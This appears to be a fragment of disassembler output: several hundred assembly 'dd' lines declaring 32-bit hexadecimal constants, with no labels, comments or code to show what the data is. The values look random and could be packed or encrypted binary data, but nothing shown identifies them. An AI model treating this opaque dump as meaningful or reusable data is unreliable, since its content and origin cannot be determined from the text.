		dd 722F3B29h, 54274E26h, 6772A662h, 8D52A57Ah, 0EEB1254Fh
		dd 5E3F9E2Eh, 17F465BEh, 86CAFF55h, 0B816E985h,	0F28009E4h
		dd 1769D46Bh, 1F770466h, 5BE023Ah, 29B44103h, 0EC1CF02Bh
		dd 2F683840h, 36472528h, 0D71ED7AFh, 5A8F475Dh,	314D60AAh
		dd 1B012844h, 107BE981h, 0E32A64C9h, 8BAFD2F7h,	0F6F66A7Fh
		dd 0DE0CFB00h, 4944E906h, 1E4B00AAh, 556D4BA2h,	0C9C6B4E8h
		dd 290B4517h, 80478E5h,	502642E3h, 0EE586544h, 0F0A8BB56h
		dd 194AC3A8h, 0B8C489ACh, 77C249B5h, 74F4D1ABh,	8F96859h
		dd 3C68AC4Dh, 0F87C0701h, 442D5851h, 2F2D0B06h,	350FDBF0h
		dd 5DC966DFh, 43447442h, 8458C316h, 536AB202h, 0C009BA7Ch
		dd 70CC54E5h, 784BF968h, 0C61848CEh, 0D1CBC30Dh, 24265412h
		dd 95018CECh, 317DD066h, 0EA1F30DDh, 0FA295D07h, 0D7CB215Fh
		dd 2CE1E74Ch, 43F15EC9h, 2D575CFEh, 0D3E991F1h,	4A51AF8Dh
		dd 61065E4Bh, 33783E68h, 58541E30h, 79A5B09Dh, 0FCCF88A9h
		dd 4F3A402Fh, 1815E881h, 0E3DCC02h, 0FD13EBC7h,	6709C373h
		dd 8E947C5Fh, 649D6EBEh, 5765AF72h, 9FE155E4h, 5259273h
		dd 1E96A30h, 92D91C5Ah,	327A05E5h, 21D0F718h, 6E7F7B95h
		dd 68E70590h, 0E435708Ch, 0D06E0D81h, 6357C041h, 9195622Ah
		dd 822A4C7Dh, 0D16860CDh, 22BB0E0h, 3501C083h, 0E05DE3FDh
		dd 9D092C85h, 8EA03451h, 0BF0EC6B2h, 40C175B6h,	0E68DFF7h
		dd 5644A879h, 2E19F453h, 8B7C043h, 57178B49h, 0E44A3CB6h
		dd 0E725E98Ch, 11EEDD18h, 7F2F5DB6h, 0FE5BAEB3h, 80308DF5h
		dd 5A7A401Eh, 81D52900h, 9F2D41EDh, 93B947Ch, 917F0714h
		dd 80715082h, 0AD8B092Ah, 8BD63C09h, 0A31719A6h, 54364A22h
		dd 0BD584AC6h, 0C152990h, 210BF9E9h, 99F997EAh,	681074Ch
		dd 0BF6007CAh, 93F8A81Ch, 0C6007582h, 326C40F9h, 8635590Fh
		dd 0A92C4FB5h, 0DF3F82C3h, 4A92E05Bh, 83C99E17h, 2B7098F8h
		dd 0AE20C4DFh, 7AA6A931h, 3F45396Bh, 0DC686680h, 0CAF7916Ch
		dd 2D700265h, 0A8DD3E76h, 222808D4h, 5DD34525h,	22A9359Ch
		dd 110B2FE6h, 0A3A40E52h, 0E12CFE2Dh, 958039B6h, 61235CEDh
		dd 81EF556Eh, 43186AB2h, 80A05E01h, 0EC5D5E07h,	95CF34Dh
		dd 2674E9B9h, 126A9F33h, 8809C1FDh, 97C3DAFDh, 1087BF4h
		dd 0EBDA3B6Ch, 261A8943h, 4C1B780Bh, 814AE356h,	6B055E74h
		dd 5E7B7FE8h, 0CA5B1275h, 0F1597EC1h, 386802DAh, 0FE34585Eh
		dd 32A73E81h, 0CF1E4252h, 5644F987h, 0CBBEFEF1h, 0D67C6246h
		dd 4CD7092Ah, 80DC9763h, 857F63C3h, 8B48A2FAh, 0CDE3DDEBh
		dd 4EE0C5Eh, 0E8C1E9D9h, 0CC727F74h, 0E302D974h, 86D1F658h
		dd 81EA59CBh, 7E905B6h,	0D3A57C37h, 57689060h, 2F40A52Eh
		dd 957F96F7h, 84BEB85Dh, 8E9C5CC8h, 3987E028h, 0CC4B7168h
		dd 765ED556h, 447B6340h, 5E21404Fh, 0A0ECA0C5h,	5C13F0ECh
		dd 0F0ADCD01h, 5C1677E6h, 70AAEA31h, 9866F500h,	0CD426EC5h
		dd 0DFC5E1F8h, 95588C23h, 0F16E8241h, 971CFCC6h, 0AFA5D397h
		dd 57E453DEh, 0F34C17FBh, 0D62DD6EEh, 4F7F4A7h,	39BA0CFDh
		dd 0D10812DBh, 578CCF5h, 520538EAh, 4B8B55Fh, 0D606E208h
		dd 0A4C561FFh, 3CE33FFBh, 0EB7E2812h, 0E3FC84DDh, 1AD94FEh
		dd 0FB0713F2h, 0A073F002h, 39D85181h, 388592B2h, 0AE4E13C1h
		dd 49F31F28h, 0C904A526h, 0FF0C7312h, 2F87DEC0h, 0FB2B5A74h
		dd 0E9DFD402h, 0BB8CE897h
		dd 480EF8C7h, 0C5356B5Ch, 24C1EA0Dh, 0AA2F604Bh, 0DAE2BA20h
		dd 748E0537h, 203AB668h, 34090743h, 1812035Fh, 7E8FFF09h
		dd 27312F50h, 3A3CF5FEh, 1FA2613h, 0D9436F3Fh, 0C30C804Bh
		dd 5F03293h, 9940124Dh,	4B10AE27h, 0CE90907h, 255F1051h
		dd 121A0B8Eh, 3704C331h, 25BCA9ADh, 7919C2D3h, 0E0547225h
		dd 2D8BEC69h, 77A703FCh, 7A120046h, 0F4BDBA52h,	0D5562DB2h
		dd 0E9F78B39h, 58AFE13Eh, 0BAD3A06Ch, 28E92F2Ch, 5F9DF77h
		dd 0E6146835h, 90DC523h, 0DC05FCC0h, 500AAC8h, 0F5E9C731h
		dd 0B756BD43h, 5F8E68C2h, 7FF747F8h, 0B7F8EA7h,	33885610h
		dd 0FBED982h, 0A50CD6B1h, 0F705781Dh, 0E9B0C328h, 93AA0251h
		dd 37E5F768h, 213B83Bh,	594893F5h, 75DAD790h, 0E9C336BBh
		dd 16F360C8h, 7EAF6FF8h, 0E3FA1D98h, 5B132EB4h,	5F1648BDh
		dd 7A938923h, 0D3364B25h, 79C526E2h, 241A255Bh,	9E975C8h
		dd 73DD0F4Ah, 209E82Ah,	71F56AC7h, 5505FD5Bh, 66BC0050h
		dd 890A9043h, 2F3CC85Ch, 60C0568Ch, 0A0233AB8h,	182F4B7Eh
		dd 0A64922FBh, 0CA310267h, 688476F9h, 3CB75E9Eh, 7A231D05h
		dd 493A103h, 65A8B007h,	85058673h, 0D7E9D821h, 6858E0A8h
		dd 0A0F4C21Dh, 979F73A0h, 0FA32939Fh, 60687537h, 6DF57EDh
		dd 5B3B02E7h, 0BC440CBEh, 2D7F0D49h, 7E8BF5EFh,	8927CECCh
		dd 0D9185D5Fh, 599DBD22h, 19D3A5A6h, 0F41B860Bh, 0FFEE645Dh
		dd 0C17B06E1h, 2844ED57h, 8F84D28Ch, 147BB501h,	137F7E65h
		dd 8CE2EAFDh, 9AE73A78h, 25A5FF3Eh, 4FB5F400h, 594AEB28h
		dd 88DFC7EBh, 1E9B902h,	0E8B2A402h, 0E418ACFBh,	5A535FCBh
		dd 3A25E75Dh, 169977Ch,	0F1E4E58h, 56122Fh, 0E90D8FDAh
		dd 0B6A88D40h, 0CEF8E0C1h, 0B4505903h, 0DFC4FEA8h, 4C060126h
		dd 175EFD84h, 97ECE851h, 5FC422BEh, 0F9F6214Ah,	4BA920C4h
		dd 27DC7010h, 4904D35Ch, 888B455Fh, 73246B8Ch, 3182DA00h
		dd 0FACF89BBh, 1AF664A1h, 0CDCDEA59h, 2D584E81h, 60842C97h
		dd 6340B1C9h, 5B9090BDh, 8501FA3Ah, 0BB53C201h,	2EE80B44h
		dd 24E95805h, 0FCCCAA1Bh, 0BEEB6EB1h, 682CC800h, 0D9E66659h
		dd 0B1A81A74h, 25BF97B4h, 91AADD60h, 5CEF16h, 9088B1B0h
		dd 3BCC2D0Fh, 68E31F54h, 93F1513Dh, 91012E64h, 0ED12125Ah
		dd 0DBCC6266h, 6CF7095Ah, 2711984Ch, 8C71A4A6h,	4BE8CA01h
		dd 0BB600730h, 0B0208433h, 0E6D12F9Eh, 0FA035D0h, 0AB2D1018h
		dd 97FAF8FDh, 6D326730h, 0C100DD82h, 68C83118h,	813B3C22h
		dd 32695280h, 2BDE982h,	41BDF166h, 0E650C765h, 4A21685Dh
		dd 211DB37Fh, 81BC2CBDh, 55624FBAh, 68D5E548h, 0B3BEA01Bh
		dd 0B7AA249Dh, 2E430BD5h, 627FB889h, 0E908011Ch, 31822991h
		dd 13DF0670h, 14036E57h, 4620D168h, 4144F081h, 0DEA72F63h
		dd 4AFDBD4Fh, 8839D8EEh, 0C435A14Dh, 0C88C0329h, 51CE3988h
		dd 0E8A5F1BEh, 0E59D71F0h, 13C0A466h, 586C49CBh, 924C0A85h
		dd 705566E5h, 767232F9h, 6CCDD5Bh, 0ACE8212Ch, 0DBDE513h
		dd 0B387F4C4h, 5F548BF3h, 0B584974Ah, 45D0B95h,	1F16AC37h
		dd 30444C56h, 0D95008F9h, 0F45C6FABh, 5199815Ah, 107E4A4Bh
		dd 0EB5EC7C7h, 8AE96904h, 9443CFE1h, 716EC1D6h,	36F68D81h
		dd 8E2ED213h, 0A978ED0Ch, 4B6A7A91h, 80D802ABh,	49D7F5C6h
		dd 1ED3C221h, 0CF5B303Fh, 0A8662594h, 29929F1Eh, 4ABDBAF2h
		dd 15CC1AFh, 77300921h,	0C0415F74h, 92350999h, 4AE91E4Eh
		dd 71F6EB04h, 0F33280F2h, 961F3E6Ah, 0ECE7F752h, 0B5DE4E51h
		dd 729C0578h, 6BD95E7Ah, 273D71EBh, 5A253473h, 0FC5124F8h
		dd 3DB81AF2h, 883FDB07h, 0CB65201h, 2030EE80h, 478D4FE3h
		dd 3CAF75F2h, 5F5CFA8Ch, 0B2E909DCh, 0ACB4FD20h, 0E90D0247h
		dd 0D851122Eh, 605C0F31h, 0A987C2Bh, 0EC5F640Bh, 33B10154h
		dd 0E8CB8C50h, 9DFF3A05h, 8F4C3855h, 0C34BC990h, 48312A57h
		dd 35AE8E12h, 3912BA2Ah, 0B447148h, 0DE5B5B58h,	0C5ABCBE5h
		dd 41A3BE9Bh, 0BC894C25h, 0FC636E77h, 5BB8BA55h, 0FE37125Ah
		dd 0E957BA70h, 0AC4D5B80h, 2DD48149h, 0A02F74A8h, 8BB76072h
		dd 42857DEDh, 0C2E9A3F5h, 68CEC8E9h, 7928C5F2h,	0E3DF20C7h
		dd 1B585763h, 8729C032h, 0DDF732EAh, 216ED209h,	3119EF2Dh
		dd 35242098h, 0F745FD29h, 5D79A0BEh, 0B20BFF95h, 0E98B8745h
		dd 0B37BD8E2h, 42B83D1Fh, 0B409AD4Bh, 0D4D69EE2h, 7831EF9Dh
		dd 4765D88Ch, 9C401431h, 0B0F30F77h, 8AA0E7A7h,	0D9E3A108h
		dd 0DC9BD5E6h, 6FA49BDh, 0AB488304h, 0C3304EE1h, 4A2605FEh
		dd 0FEDBF716h, 730E9101h, 0F93E1518h, 0FEFA0627h, 0F549C850h
		dd 4F68ED6Bh, 4089DBF4h, 0DB9D5835h, 0C0F6ACD7h, 0F581E5D1h
		dd 4BC71F0Bh, 74E289D6h, 0C8298B72h, 0DD791248h, 2F878082h
		dd 7C11045Eh, 957D2547h, 5569B4E5h, 0CA6C3779h,	0AF1813C6h
		dd 6050FF2Dh, 38345508h, 0C28B4007h, 25D47919h,	0DADBE34h
		dd 24D88249h, 0EF58313Dh, 0D0616974h, 23B322FAh, 0DF826478h
		dd 0E192CB63h, 1108D1DCh, 0F82912B5h, 9FE5ADDh,	75FB5FF2h
		dd 5C5EB809h, 0E64EF47h, 0FB1CA492h, 0ECEED097h, 0FF870F1h
		dd 0DAF659CAh, 0FEF48242h, 2D653457h, 950BC0E9h, 0A3274750h
		dd 4AAD98ABh, 70D19F10h, 0E4CC9089h, 5DD2F0A6h,	0AA258758h
		dd 1E6F56D4h, 0C1F2FBD3h, 76A7284h, 0E125F488h,	7F12BAF8h
		dd 0BE71AE9Dh, 5C002FFEh, 5F662B68h, 217B8AFh, 6F83BE56h
		dd 8FC16276h, 94E62D86h, 1AFA4BD8h, 0D05F0CD5h,	9C0BDE1h
		dd 0E8B76512h, 13415315h, 0A4A0AE1h, 0A6448DADh, 0FF151977h
		dd 70E23E14h, 12D6C785h, 236298AEh, 4E7C8D56h, 25E9EA2Ch
		dd 677F69CDh, 0ABFA1686h, 0E9164CCAh, 55174A7Eh, 777A0281h
		dd 88607DC2h, 3E2E4DEBh, 6D00081Bh, 2D0A1467h, 7C370364h
		dd 0DE24E9FCh, 5FEBAE4Fh, 3D71043Bh, 0BFBE8001h, 0BD2F067Eh
		dd 0D47E4029h, 49DB97BAh, 6E7C400Bh, 8C6818A9h,	191BCF6Ah
		dd 0F4A50091h, 4D7F5AF5h, 0C1D5263Eh, 2A258868h, 0D5A80631h
		dd 3A86392Ah, 0BFA5E3EDh, 5AA450CCh, 7B2DAE53h,	2B1E9D3Bh
		dd 332169CDh, 173BD5A8h, 85C6A217h, 0D34F08F3h,	2CF7500Dh
		dd 791660EAh, 612C5847h, 0ECE9D809h, 0BF0D0760h, 46CB111Eh
		dd 71ACFD8Bh, 98A288C4h, 0FB0BC820h, 0DF322E11h, 3408F6A8h
		dd 74ACBA0Ch, 1643E909h, 50B18DFh, 204C2801h, 32549F08h
		dd 665FE904h, 0B9F24FD3h, 0D739136Fh, 866EE407h, 0DBB4B17Bh
		dd 33D87AFEh, 9D5A5BEEh, 8BBC6093h, 24286C9Fh, 0C3F97A06h
		dd 2D105C4Dh, 3650D472h, 9E75F003h, 9EB810B6h, 14428A96h
		dd 0DEDEB450h, 357C3C95h, 8022165Dh, 4503EBE6h,	3B0E7724h
		dd 7802F801h, 51614358h, 0E1991282h, 0C862687Bh, 47A4E41h
		dd 592DCAF9h, 0C02643D9h, 0C59D8722h, 3C1A3FD9h, 61F5B14Ch
		dd 0E73AEAF5h, 0A11C0E9Ah, 5C831380h, 463FDAE9h, 90E7E629h
		dd 2220000h, 0E9567B61h, 2FE10538h, 0FE9263E9h,	0E9829FA3h
		dd 1C7D7E86h, 97E9832h,	784B563Ah, 39274F6h, 0EF3C20EEh
		dd 53268BBCh, 0E9061C69h, 3380987h, 0EE86CE88h,	878D5F6h
		dd 0E066F125h, 3CBEB320h, 5B32D928h, 20C2090Eh,	0C72573F4h
		dd 0BA5D2746h, 0D19F10CAh, 635D8268h, 591790C8h, 82014EFBh
		dd 87825051h, 8B669A6Eh, 472468F8h, 98C6F373h, 3D63BDB7h
		dd 0CF2DEBDDh, 724D806Fh, 31143BFEh, 8E5AD5h, 74E35925h
		dd 5A5FFD09h, 0B66F984Dh
		dd 2F2FD2E0h, 6C50F121h, 82D9C52h, 20E47C29h, 0FEE9BDCFh
		dd 4B07C66Dh, 9AE4FA62h, 2D56808Eh, 0B503EFC0h,	0BB17C2D6h
		dd 7878C5ACh, 61CA2EC2h, 4C961010h, 23751272h, 4E5C020h
		dd 71104E6Bh, 5D62C63h,	0CD4673FBh, 7F0E76F1h, 4EDB23CDh
		dd 8FD9EA03h, 4947BE3Bh, 6E40E781h, 0C14F2710h,	0F71CC978h
		dd 93C53ADEh, 505A4319h, 0C388403Eh, 67236F13h,	620BBE90h
		dd 5766936Ah, 80DA4C2h,	514051Ch, 0E41E5486h, 4E165368h
		dd 1DEE0C73h, 0BD0A8FFh, 29B3148Ch, 0C7E2B04h, 5AE09C5Dh
		dd 2E4B865h, 440E1F7h, 0D1FAD742h, 23F77082h, 1246FD45h
		dd 0FA478F10h, 3322A29Eh, 212F54Fh, 0D627F6BBh,	0AC104DA6h
		dd 0B4804E42h, 0E1617E68h, 0A5E7A83Fh, 0EC13DC84h, 61FFC953h
		dd 389BFE3Ch, 57729953h, 1646B460h, 0F1430E16h,	0E9D9CCE7h
		dd 1610D32Ah, 0CEEBBE01h, 0A8055D30h, 2DD084D1h, 380925F3h
		dd 0F30C2DFh, 9119407h,	443EF4E9h, 1556C8F5h, 60135726h
		dd 4E402EF5h, 0B52FC9A6h, 7C77C562h, 26090211h,	0E7FC558Bh
		dd 60DE502h, 0FEDC5571h, 382FD249h, 61D8FE33h, 2B78BFC9h
		dd 6564A5A0h, 0B96F950Ch, 5F310B60h, 22C9FCD1h,	28524A28h
		dd 0F2F85767h, 0C3D0885Bh, 714E97CDh, 40D6F82Ch, 4EB055B6h
		dd 7CDFF627h, 5BDD507Eh, 9658C5B5h, 4E75ACA1h, 3D16DD8Bh
		dd 8C6AE816h, 41028453h, 64BE2F52h, 0D6A1EB0Eh,	0EE4AB232h
		dd 0E7E9E202h, 0DD22550Eh, 8771FB6Fh, 0CEEBD7CEh, 22F4D4Ah
		dd 1CA110BEh, 2AC68045h, 0BF633775h, 0E50CC676h, 0AC51A05h
		dd 0A34B3243h, 3CEA029Eh, 287D152Ch, 8B1E084Ch,	0CA19D1EFh
		dd 67B78260h, 85D51786h, 0E4AA07D9h, 0C3242F86h, 5383130Bh
		dd 915E33Bh, 9A591E5Ah,	1CD018D8h, 141C6808h, 5C97572Eh
		dd 0AEB507BCh, 14B9F748h, 0B712E566h, 735CC58h,	5C28F541h
		dd 30045217h, 66B8B72Eh, 80B15101h, 21E9CF08h, 0BA007F2Ch
		dd 49E6195Eh, 0B498D631h, 1513E75Eh, 70629EEAh,	80001B90h
		dd 0E83085C5h, 9C1B5AE9h, 47FA70Fh, 0EC985E1Bh,	0BD5C97D2h
		dd 66D0C90Dh, 0E12A7335h, 1B2C7F86h, 0AD314E29h, 89BAD6C6h
		dd 0C28A2010h, 0C7647ABEh, 0F64EB8AEh, 68E91847h, 0FA3534BFh
		dd 61673C0Fh, 0B6126548h, 0B90207F9h, 49912B47h, 7BA2EE57h
		dd 63421235h, 0DE14AE68h, 5EADDDE9h, 535982F7h,	44C047C4h
		dd 0D58412Bh, 4FE648DAh, 0EF6A8F21h, 0EE97307Eh, 7F4B3E7Ch
		dd 2B6868A0h, 26FF506Bh, 0BFF200Eh, 55D831ADh, 0B72B0B82h
		dd 0D6F58100h, 0C73FF90Ch, 0C7174CDBh, 3B5A8302h, 75FD5B57h
		dd 5DA53347h, 16BD88B6h, 82FA7148h, 64A0E458h, 8B2DB830h
		dd 1263D4F3h, 55ACB8AFh, 3A8320BEh, 52BA2003h, 0CC42D687h
		dd 370963C5h, 5523A563h, 6FC5A5EEh, 4289EB8Ah, 7EB55C58h
		dd 0DE4C700Dh, 250F25A0h, 0FD4AE0BFh, 30539851h, 683ED529h
		dd 8A312E2Dh, 0E4728A79h, 7F9CBE00h, 78147562h,	0D9C75FD3h
		dd 4EC2F02Fh, 0AC4112A1h, 0ACAEB4BFh, 0A9683F96h, 0B09EE542h
		dd 23EB28D6h, 0FCC6E8h,	0B53F8568h, 272A9061h, 0EE49EB87h
		dd 4C7F7954h, 231B0570h, 10FF7E8Eh, 0B75807E3h,	7AD51024h
		dd 14C2BE7Ch, 60FF2932h, 6181C35h, 0EFE945D3h, 962A8DC2h
		dd 789F5A6Bh, 1CC5651Ch, 2131C131h, 0C3828AF3h,	0AC05A602h
		dd 63FEDF01h, 0EA848A2Ah, 9648BF8Bh, 73013506h,	0B09F3650h
		dd 27407D93h, 0D65C2591h, 0F2144916h, 11F6059Dh, 40AB542Ch
		dd 52332A0h, 120E914h, 1DADB07Dh, 6E6B17E6h, 4B1131D3h
		dd 0C60A855Eh, 0C7C4166Ah, 85E4FDEEh, 0B7AF6CE5h, 4EAF588Bh
		dd 0D15BCBCAh, 225EA7h,	0D00BE2E9h, 620E95D7h, 95FB14Eh
		dd 3F680A05h, 2A124111h, 0AF2166h, 7E0FE546h, 51906B06h
		dd 24FB8748h, 0D000763Ch, 89F0BA0Ah, 0C319B0EBh, 0BB32E906h
		dd 6945E35Fh, 0AE5607C7h, 0C8E12B46h, 8F70B722h, 3922E548h
		dd 0DB31CE93h, 733162EDh, 598AD06Ah, 2B61FA6Bh,	8CBA830Ch
		dd 2F37DEF2h, 54356E0h,	0CB3C6774h, 2774CC59h, 0D7FBA8AEh
		dd 7D4EA709h, 412DC658h, 90D8E4BDh, 16BA5E4Eh, 41CFAAE4h
		dd 6BCFE90Bh, 52C01071h, 0D25CE950h, 0B0EAA857h, 0A83E9E68h
		dd 0C1F9D1C2h, 2897B428h, 0A6D2E4E7h, 8F4FB8BCh, 8ABA9698h
		dd 12FF5A32h, 4F05EC6Eh, 0F2D879CBh, 8EB9A127h,	0E9535243h
		dd 1A82544Bh, 0F205F9BDh, 0D00B0057h, 4173C830h, 24524601h
		dd 476B016h, 824BA1B8h,	45DD592Fh, 87869214h, 0F928C213h
		dd 6605B44Ch, 0CA885250h, 57A8FE12h, 0B11C8091h, 49D11EBBh
		dd 0F1536A1Dh, 0A07B608h, 1E7602BAh, 0C72882C1h, 8FF0146h
		dd 0D221083Bh, 502E6861h, 0E829A193h, 76564A90h, 5DDA4BEEh
		dd 0CD099CF3h, 30A27ACCh, 80346254h, 6CB2CEAh, 19685779h
		dd 0B0025044h, 0E9C7201Ah, 9571D824h, 175B8260h, 0E3034591h
		dd 0EAEF14CBh, 0E952B8D3h, 75715BDCh, 0C28F0D28h, 8BEC7823h
		dd 592B21BFh, 0B259FC88h, 0D2437292h, 8FF88107h, 7D0ED180h
		dd 0EE6B932Fh, 71E913F1h, 60A3E52Dh, 0C1D60E53h, 0CE9C9506h
		dd 0EF83176Ah, 6AFCD802h, 5C1914B4h, 843B294Bh,	0C5FCAEC9h
		dd 217D766Bh, 2536E9A0h, 0A34CA123h, 1E74011h, 0CAD012C6h
		dd 47B8959h, 12FC2459h,	0BC7913EBh, 5EC8A4C9h, 36BB0553h
		dd 0BE08613Ah, 0DD0556C2h, 0F5838378h, 0DF2FDE20h, 4B55409Ah
		dd 0D6354807h, 76790412h, 8472250Eh, 7C17AB3h, 0C278E749h
		dd 22DBC9A1h, 0BD6882A2h, 9D14D52Ch, 0FCF10395h, 87794D22h
		dd 1237B24Ah, 0C8EDE0BDh, 105B05D2h, 53B613DDh,	5772FB8Ch
		dd 747E572Dh, 0C7EFCA3Ah, 6F06A07Eh, 88BF41ACh,	0E909075Bh
		dd 0BB8E406Ch, 123F1E34h, 0E8A38C0Fh, 7909BA14h, 5653825Bh
		dd 603185Ch, 0C2148305h, 20D64A01h, 0F3282440h,	0FB931399h
		dd 5BA89F88h, 0ED6D31A1h, 0BDEA0484h, 0A65B3DCEh, 51937537h
		dd 0E983B8F7h, 2A1DA962h, 96D7F430h, 8C1429F1h,	0AD05E8ABh
		dd 0B5AF5064h, 51465A09h, 3CF3429Ah, 3DBA4B29h,	134392BFh
		dd 0E99F17EEh, 67E9B1A2h, 0C10C686Ch, 0ED3608E6h, 0B3828C9Ch
		dd 0C221CC43h, 68D2A085h, 8E0D78h, 56575865h, 0E5074BEh
		dd 81414E61h, 0FAD0A1EEh, 5D51B53Fh, 1E30853Eh,	0C70C678Fh
		dd 0EEE5973Eh, 0C86B4A03h, 0F49008EAh, 948E7C20h, 13F8ACCAh
		dd 25193D8h, 2B5E1AC2h,	7264762Dh, 0CAC6DC76h, 0E0564BB8h
		dd 0B63E11F7h, 3F251338h, 6AC04FB8h, 4A50DA5Ah,	0F36D4C3h
		dd 4E93AAh, 0F390E7D0h,	5EF209C3h, 9409239h, 18FFD3E9h
		dd 5AC1211Ch, 0EC0BEA58h, 0F7C4DFC5h, 68A7CE85h, 953DA3CDh
		dd 8FD0057Eh, 44405E47h, 445405h, 6106ABBBh, 174C9870h
		dd 0FA8F9EF9h, 0DEEDA51Ch, 0ED5F273Dh, 2D5093Ah, 760B0F46h
		dd 766B8558h, 0BBE02D5Eh, 0E1245618h, 703311Ah,	4192860h
		dd 770EB40Ch, 0E594EF49h, 90C081Ah, 5E487D14h, 588135B2h
		dd 15E0EEF1h, 0ABC4B5E2h, 68D23105h, 47443E54h,	0A7A165E9h
		dd 0A28ABC6Bh, 270AEC5Eh, 0CEA29868h, 2901ACC8h, 0A86E05D8h
		dd 0F1127574h, 0A6BE4837h, 30E93E5Fh, 8B5D306Fh, 6D5C9D2Ch
		dd 0B847BF56h, 38E3ADA4h, 0B9E401F6h, 58551FC9h, 67BD481h
		dd 36E0E3Bh, 40384EF1h,	390C0927h, 1C031F2Eh, 30FF02E1h
		dd 7C8B25C0h, 1B598CC0h, 76216F74h, 0E6817CBh, 0BBE36143h
		dd 44915211h, 278F795Fh, 89AC895Dh, 0FA505534h,	8160D9Eh
		dd 438514B8h, 8FB4BCE8h
		dd 0C579CC68h, 0BB934AC1h, 0A64F078Bh, 1DCB5A22h, 0B25D2C04h
		dd 7C81FE10h, 342E60F0h, 0BB8882E3h, 6F6A750Bh,	2BD5CB61h
		dd 6352838h, 7AC0C3E8h,	0E090A950h, 0F83B6841h,	64E706DBh
		dd 0B7AE0EEFh, 0B5540D5Eh, 0AD2095FBh, 780CD69Dh, 5699D777h
		dd 642C8C8Bh, 0D74A9D78h, 9D8078D5h, 3E6EF938h,	82DB5481h
		dd 0E975DCD2h, 5427BCFCh, 0F44CFB41h, 0EC0510A7h, 96CDBC5Fh
		dd 5C23E504h, 0ABE66804h, 67B6CF44h, 192EEA3h, 0E84C50C4h
		dd 0BA3E8D4Fh, 0A02BD1F6h, 704DAA38h, 3BF203ABh, 0D90AA229h
		dd 0E4736EDDh, 1D455827h, 1408C88h, 6A011DB8h, 4DB13A33h
		dd 0C2B21C6Bh, 836851F3h, 537EC5Dh, 31F2411Dh, 0DAA54056h
		dd 0E9485F28h, 8BD93A32h, 0CBEAF5EFh, 68130F96h, 66605753h
		dd 16AF4CA1h, 0FEDBF711h, 35B4A299h, 82B8AF2Ch,	0C42CEE5Eh
		dd 4DEB3187h, 28F3E906h, 500B5FFFh, 0F53B283Dh,	0CF8159E0h
		dd 195207D7h, 0AFE7C178h, 0AF23F720h, 501AE2Fh,	3B6964CDh
		dd 8BDC322Dh, 0F9E6B851h, 0FB840745h, 20AA1217h, 0FBCEE954h
		dd 3AC9FE5Ah, 3DD0886Ah, 0A4FF768Ah, 0EC579260h, 80BFD244h
		dd 0B4E9F91Dh, 0A83DDA4Fh, 0EC28B2Ah, 1663D368h, 539B8EABh
		dd 3A449655h, 580A2F3Ah, 0C9571E57h, 5422B876h,	21F14792h
		dd 3F2772ADh, 9B9E5250h, 571763h, 1C69EAB0h, 0C0954B64h
		dd 814493F4h, 1EEA2B2Dh, 13DCB4FBh, 1F25EB91h, 1012361Fh
		dd 0ED693EC5h, 4A85CE2Eh, 35D4C8FFh, 0B2FEC62Eh, 714F6DEFh
		dd 7363B400h, 0D13B0557h, 0BCD6F7EEh, 206904E0h, 9A0F0FE4h
		dd 0D5964965h, 53E2121Ch, 7895BFB9h, 4B09D08h, 0FA7B7968h
		dd 5B059ACFh, 0FE8ADFE9h, 8948C9E3h, 0F2C25F85h, 0C5238AE5h
		dd 0BB23FDA5h, 0BE4FC5CBh, 5575C8AEh, 0CF958767h, 31A1D73h
		dd 4594BF0Eh, 8DE50C7Fh, 7DE501BFh, 505C0162h, 8B0E9D2Bh
		dd 0C4F2A2D3h, 0E9055F0Ch, 0EF1A66F8h, 24681280h, 27CBBB0Dh
		dd 85FFB84Bh, 0AC1BF387h, 47CD908h, 0B823302Bh,	31581970h
		dd 384805AFh, 90EE6C73h, 5920E9F6h, 4D444F2Eh, 2EEEF102h
		dd 0A1D08F50h, 0F4137753h, 0CB61F7D4h, 0B709F1FBh, 26EBAD7Dh
		dd 7CF7B22Fh, 7342820Bh, 70D3FE58h, 511247EDh, 8DEC2957h
		dd 0B87B0841h, 8708F52Dh, 0F92106E2h, 510B705Fh, 0D6150A20h
		dd 0E2762FB4h, 0BB7E5178h, 96AC0996h, 686271DEh, 0AF98D701h
		dd 5595B850h, 0DC485E89h, 532628Fh, 81F7784Ch, 0B527E907h
		dd 2C785163h, 46061FE3h, 0C4B7877h, 0C49ED5B8h,	0E8A43B17h
		dd 0E601018h, 0F8E6891Dh, 89695524h, 0B87F271Eh, 0D3659350h
		dd 0ECD0FE59h, 0BFD7F747h, 4BE98360h, 0F609B7BEh, 39187DF9h
		dd 97FE3381h, 0E0E95E4Ah, 9CCDCDDEh, 9F036B16h,	0DAC8CC80h
		dd 75384BE8h, 4211B6ECh, 0A5478E25h, 2CEDE525h,	211313FAh
		dd 8E6E39C8h, 0C588EEBDh, 1AEB9FE2h, 3EC522E6h,	7092E9C2h
		dd 7880765Bh, 70FC2C1Ah, 8456F2Ah, 9AE2EF50h, 81874B79h
		dd 385559E1h, 9140B920h, 7FC026B1h, 0D9F625E9h,	7C505D41h
		dd 60BF4F7Dh, 0FA54DF31h, 6DF05AB8h, 4229D9BFh,	59F5F137h
		dd 73281A0Bh, 1A0BBF7Eh, 3000DF5Dh, 49457AEBh, 93676BDh
		dd 64FE38C1h, 0CB930F68h, 27DDA608h, 42DA18Ah, 0FAC46859h
		dd 0EA236446h, 75BB0E76h, 0A534B31h, 4045DC75h,	4D546AC8h
		dd 0DE4E5B79h, 0BF89DAD9h, 9ADF8B68h, 0A5E5C9F4h, 358509CEh
		dd 429EF05Fh, 5861CA41h, 453EC97Ch, 0ECBA2660h,	0C4B88D08h
		dd 59A1D467h, 0EBF0B764h, 0CEFA9741h, 5057452Ah, 97BBF4h
		dd 5D0105E4h, 0AE7E4ACCh, 0E909029Bh, 467750E1h, 58542626h
		dd 0ACA2E11h, 17C1C188h, 3FE9F33Bh, 0AECC4E5Ah,	45501015h
		dd 4732810Ch, 0FB310BA8h, 0C47DE66Ah, 31BFCC05h, 2ABE8A88h
		dd 0C238ECA3h, 0EEF4EA51h, 14B297BCh, 8967B257h, 0E340D792h
		dd 513B951h, 43018065h,	0D729DEE9h, 9BEB61FAh, 25C2CB3Bh
		dd 0D8A57E2Ch, 0CE9FDAF8h, 6086F622h, 58B816C2h, 7E02F567h
		dd 256C9D0Dh, 9C62D555h, 6A4BDB60h, 0E03A8A2Dh,	97F1C34Fh
		dd 68863DF1h, 2F51592Dh, 0B84E2F19h, 0B46D2BFh,	0EBECF870h
		dd 322993F7h, 5880F3CCh, 0EE59C97Ch, 0B5B977E6h, 22D6F054h
